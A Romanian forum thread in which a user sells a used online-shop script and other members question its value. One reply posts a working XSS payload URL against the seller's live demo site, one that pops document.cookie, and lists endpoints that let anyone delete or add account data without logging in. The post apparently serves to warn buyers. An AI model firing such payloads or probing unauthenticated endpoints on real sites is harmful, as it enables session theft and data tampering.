Vand script magazin virtual

[radeoN]

Demo : onsky.ro/magazin
Specificatii :

• Categorii si subcategorii de produse nelimitate ;
• Meniu de navigare ;
• Imagini nelimitate ;
• Formular dinamic pentru contact ;
• Formulare dinamice pentru cereri de oferta/rezervari/programari ;
• Formular de abonare newsletter ;
• Modul de trimitere newsletter ;
• Motor de cautare intern(complex) ;
• Cos de cumparaturi ;
• Baza de date ;
• Modul de login ;
• Modul de administrare ;
• Statistici produse, clienti ;
• Securizarea magazinului virtual ;
• Consultanta privind alegerea domeniului ;
• Optimizare pentru motoarele de cautare ;
• Instalarea site-ului pe server ;

Este cumparat de mine in urma cu ceva timp ...

[lovelife]

Ai suport pentru el, acces la upgrade, o echipa care poate face modificarile dorite de client?

[Empire]

ce are in plus fata de prestashop, oscommerce, etc. ca sa justifice o achizitie?

[radeoN]

Modificari fac eu , doar ca design si aranjare in pagina
Empire nu cunosc presashop , oscommerce , eu am cumparat la randul meu acest script , functile le ai mai sus .

[Netul]

ce are in plus fata de prestashop, oscommerce, etc. ca sa justifice o achizitie?

Vulnerabilitati XSS:

http://onsky.ro/magazin/afisare_produs.php?produs=%27;alert%28document.coo kie%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28document. cookie%29%3C/SCRIPT%3E

Si mai grav, paginile din contul unui user se pot accesa fara sa fii macar logat (am facut un test atat dupa logout ca si din alt browser unde nici macar nu m-am logat)
De exemplu poti sterge date / adauga date fara macar sa te loghezi
http://onsky.ro/magazin/actualizari_date_utilizator.php?actiune=stergere_a dresa&id_adresa=2
http://onsky.ro/magazin/adauga_firma.php
http://onsky.ro/magazin/adauga_adresa.php?client=1

.....

Astea probabil ca sunt incluse in cei 200 euroi

[radeoN]

Cum am mai zis , nu e facut de mine , l-am cumparat , il vand , ce e asa greu?

[Netul]

Cum ti-am mai zis.... cine da atatia bani pe un script nesigur, plin de buguri (GRAVE), ca apoi sa stea sa il repare? Cine cumpara un script, nu e programator ca sa stie ce sa repare. Iar cine e programator isi face singur ce are nevoie.

[kokosmin]

Inca un lucru, referitor la dreptul de licenta. Daca ai cumparat un script nu inseamna intotdeauna ca il poti revinde. Daca a fost dezvoltat special pentru tine da, insa in restul cazurilor e de uz propriu.

[casperel]

@radeON: te duci la magazin sa-ti iei un laptop, observi ca nu merg 2-3 taste, pe display apar cateva dungi.. si te duci la vanzator: "stiti produsul e defect", iar el iti raspunde: "nu e problema mea, noi asa l-am cumparat de la producator, asa vi-l vindem si dvs". Cool, nu ?!

[Mar]

@Empire: nu mai aminti de oscommerce, este uzat moral. momentan este unul din cele mai slabe scripturi de e-commerce.